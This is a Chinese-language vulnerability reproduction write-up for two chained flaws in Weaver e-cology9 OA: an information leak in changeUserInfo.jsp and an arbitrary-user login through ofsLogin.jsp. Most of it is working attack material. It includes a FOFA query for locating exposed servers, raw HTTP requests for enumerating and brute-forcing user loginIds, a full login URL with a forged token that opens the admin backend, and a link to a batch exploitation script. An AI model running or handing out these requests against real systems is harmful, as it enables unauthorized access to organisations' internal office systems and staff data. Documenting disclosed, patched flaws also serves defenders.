泛微e-cology9 changeUserInfo信息泄漏及ofsLogin任意用户登录漏洞复现
漏洞简介
2023年05月15日,泛微官方发布10.57.2版本安全补丁。其中修复了两个漏洞,分别是信息泄漏和任意用户登录漏洞,两个漏洞可以被攻击者组合起来利用,从而能够使攻击者进入到系统后台。
影响版本
在 9.00.2110.01
以及之前的版本是不受该漏洞的影响的,在 9.00.2206.02
以及之后的版本可能会受到该漏洞的影响,而在这两个版本之间的版本,由于没有源码,是否受影响就不得而知了。
补丁版本:<10.57.2
漏洞复现
fofa语法:app="泛微-协同办公OA"
任意用户登录漏洞的利用前提是,需要已知一个存在于HrmResource表中的loginid。
第一种信息泄露利用方式
/mobile/plugin/changeUserInfo.jsp
文件查询时使用了 %
,可以模糊匹配 mobile
,当查询出的结果条数为0时,返回 {"status":"-1"}
。
GET /mobile/plugin/changeUserInfo.jsp?type=getLoginid&mobile=1234 HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
当大于1时返回 {"status":"0"}
,如下。
GET /mobile/plugin/changeUserInfo.jsp?type=getLoginid&mobile=1 HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
在这种情况下,是可以利用BurpSuite的Intruder做进一步模糊查询移动电话的。如下图,存在一个包含13开头的移动电话。
当等于1时返回 {"status":"1"}
以及 loginId
及其值,在这种情况下,我们就可以直接获取一个 loginId
。
但不过,在上面我们登入系统后台新建一名人员,填写人员信息时,移动电话并不是必填项。 %
模糊匹配虽然好用,但是当表中的数据条目超过1条,并且它们的 mobile
字段都为空时,它便再无用武之地了。
第二种信息泄露利用方式
跟进 weaver.login.LoginRemindService
中的 getPassChangedReminder
方法,发现如果提供的 loginId
参数值在 HrmResourceManager
表中存在,则 code
的值会等于 "21"
,否则 code
等于 "-1"
。那么根据这个差异便可以用来爆破 loginId
,如下图。
GET /mobile/plugin/changeUserInfo.jsp?type=status&loginId=2021020081 HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
第三种信息泄露利用方式
GET /mobile/plugin/changeUserInfo.jsp?type=getUserid&loginId=2021020081 HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
任意用户登录
在已知一个 loginId
值为 "user1"
的情况下,首先通过加密算法生成 loginTokenFromThird
的值。
然后作如下请求,便能成功进入系统后台 /wui/index.html
页面。
http://IP:port/mobile/plugin/1/ofsLogin.jsp?syscode=IM×tamp=2&gopage=/wui/index.html&receiver=2021020081&loginTokenFromThird=dd70c814bd561d2355b4b37a33c67fd2
工具批量探测
一个师傅写的脚本:https://github.com/A0WaQ4/Weaver_ofslogin_vul
参考:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502015&idx=1&sn=39a4dd93fe5cc0a85dcb4aae28c6bf9c&chksm=f258544cc52fdd5a3ef748e125527cbe76d325b0b403ce359b686362a5cd923963e16faa2d45&scene=126&sessionid=1685092163&key=79faf193ca39ac845d45b240e517ccf717a50d07a9efad057991dbb878a24c00e9e8e4c2f3c84761361f7ff6a20040112d0d939914828f699229867b029a53fa957167f7b7be31f03cc8f249ba8f24232b359ecbc12c17027d3143b22e4915b41d3a6506ca566b13c76ce44a1e998cfa82968ee5fa4b159a3d52661d7480b3a9&ascene=15&uin=MzgxODQ4MjMz&devicetype=Windows+10+x64&version=63060012&lang=zh_CN&session_us=gh_7c749a8346d4&countrycode=GY&exportkey=n_ChQIAhIQ%2BcZx3tWxO0E8DrQjq2wpEhLvAQIE97dBBAEAAAAAADhYIKpLxZwAAAAOpnltbLcz9gKNyK89dVj021DG4x9QVpW9CXybpPpZ9qPTtZ8Qi0IYkOJTsU0z01YuxLeoWHBWWnq6ahSSdj2YdyvXZJVQNRmXDajYswlKJonxlRiXhKW%2Buu%2BNT%2BRFdiemTUgrCWyDH%2FFRsuXV%2FCeFYKdgPyKsjVNsv2nkl%2FurlVE%2F%2ByKVBB6ZktCegyDjbLg3wbFJ3cPplsGjjO4U%2FbW%2BRb7MPyBGa7xALwKMKjBejakftbNF63xcQG7CKN9s8CV73KbORpi3c5JXMk2DVZoNxFcynBMtEoc8&acctmode